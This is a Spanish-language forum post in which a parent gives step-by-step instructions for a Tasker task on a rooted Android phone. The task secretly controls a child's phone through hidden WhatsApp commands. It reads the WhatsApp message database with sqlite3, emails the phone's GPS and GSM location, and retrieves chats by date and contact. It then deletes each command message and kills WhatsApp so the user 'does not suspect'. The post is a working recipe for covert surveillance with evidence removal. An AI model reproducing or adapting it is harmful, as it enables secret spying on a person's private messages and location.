Ver Mensaje Individual
  #12  
Viejo 04/06/13, 08:33:03
Array

[xs_avatar]
pepelolo38 pepelolo38 no está en línea
Miembro del foro
 
Fecha de registro: feb 2010
Mensajes: 161

Buenas.

He de decir, que sí lo que hago es similar. No lo saqué de ahí, pero sí de algún otro post parecido.

Para poder leer los whatsapp, el trigger es la llegada de la notificación.

Lo que yo pretendo es controlar el móvil de mi hijo, quiero saber con quien habla, donde se encuentra, etc... ya sé, ya sé que esto no es muy ortodoxo... pero oiga... ya que la tecnología nos lo permite... protejamos a los enanos, no?

Bueno al lío.

Lo que yo he querido implementar, es una tarea que responda a los comandos que yo le mande utilizando whatsapp y que luego no deje rastro de ese comando.

El formato del comando que he elegido es este:

#XXX, donde la # indica que el mensaje es un comando y las XXX lo identifican

He implementado esta tarea que he llamado "IU"

A1: Ejecutar consola

[ Comando:sqlite3 /data/data/com.whatsapp/databases/msgstore.db "SELECT data FROM messages WHERE key_from_me='0' AND key_remote_jid LIKE '%XXXXXXXXX%' ORDER BY _id DESC LIMIT 1;" Cuenta atrás (segundos):10 Usar Root:Encendido Almacenar Salida En:%REGISTRO Almacenar Errores En: Almacenar Resultado en: ]

En A1, mediante la consulta obtengo el último registro dirigido al whatsapp de mi hijo.

-key_from_me --> campo que indica si el mensaje lo he enviado o me lo han enviado

-key_remote_jid --> campo con el teléfono de la persona que envía el mensaje. En ese caso el mío

Almaceno la salida en la variable %REGISTRO

A2: Sección de Variable [ Nombre:%REGISTRO Desde:1 Longitud:1 Encajar:Apagado Almacenar Resultado en:%COMANDO ]

En A2 saco el primer caracter que contiene la variable %REGISTRO y lo meto en la variable %COMANDO

A3: Si (if) [ %COMANDO ~R # ]

En A3, compruebo si ese caracter es igual a #

A4: Ejecutar consola [ Comando:sqlite3 /data/data/com.whatsapp/databases/msgstore.db "SELECT _id FROM messages WHERE key_from_me='0' AND key_remote_jid LIKE '%XXXXXXXXX%' AND data LIKE '#%' ORDER BY _id DESC LIMIT 1;" Cuenta atrás (segundos):10 Usar Root:Encendido Almacenar Salida En:%ID_WHATSAPP Almacenar Errores En: Almacenar Resultado en: ]

En A4, obtengo el ID del registro que estoy procesando y lo guardo en la variable %ID_WHATSAPP. Esto lo hago para luego borrarlo de la BDD y que no se vea en el whatsapp

A5: Sección de Variable [ Nombre:%REGISTRO Desde:1 Longitud:4 Encajar:Apagado Almacenar Resultado en:%COMANDO ]

En A5, obtengo los 4 primeros caracteres de la variable %REGISTRO para saber que comando he de procesar. Lo meto de nuevo en la variable %COMANDO... por aprovecharla y no crear otra.

A6: Si (if) [ %COMANDO ~R #gps ]

En A6, compruebo que si el comando que voy a procesar es #gps

A7: Realizar tarea [ Nombre:GPS_Mail Parar:Apagado Prioridad:5 Parámetro 1 (%par1): Parámetro 2 (%par2): Devolver Valor de Variable: ]

En A7, si se ha cumplido la condición, llamo a la tarea GPS_Mail, que como intuiréis me mandará por email la posición del móvil. Tanto la posición GPS (%LOC) como la obtenida por la triangulación GSM (%LOCN).

A8: Fin si (End if)

En A8, cierro el IF de A6

A9: Si (if) [ %COMANDO ~R #con ]

En A9, compruebo que si el comando que voy a procesar es #con

A10: Realizar tarea [ Nombre:Consulta_mensajes Parar:Apagado Prioridad:5 Parámetro 1 (%par1): Parámetro 2 (%par2): Devolver Valor de Variable: ]

En A10, llamo a la tarea Consulta_mensajes, que lo que hace es abrir la BDD de whatsapp y recuperar los mensajes que me interesan. El comando #con funciona así.

#con,DD-MM-AAAA,XXXXXXXXX

DD-MM-AAAA es la fecha de la que quiero obtener los mensajes
XXXXXXXXX es el teléfono del que quiero obtener los mensajes

A11: Fin si (End if)

En A11, cierro el IF de A9

A12: Ejecutar consola [ Comando:sqlite3 /data/data/com.whatsapp/databases/msgstore.db "DELETE FROM messages WHERE _id=%ID_WHATSAPP" Cuenta atrás (segundos):10 Usar Root:Encendido Almacenar Salida En: Almacenar Errores En: Almacenar Resultado en: ]

En A12, borro el comando que he enviado al whatsapp de mi hijo, para que no aparezca en el chat y sospeche más que nada...

A13: Matar aplicación [ Aplicación:WhatsApp Usar Root:Encendido ]

En A13, cierro whatsapp para que desaparezca el mensaje y la notificación de que le he enviado un whatsapp

A14: Fin si (End if)

En A14, cierro el IF de A3

De este modo podéis crear los comandos que querías y hacer que el tlf... haga lo que vosotros queráis y se os ocurra.

En otro post os explico como he hecho lo de la BDD de whatsapp

Un saludo
Responder Con Cita
Los siguientes 2 usuarios han agradecido a pepelolo38 su comentario: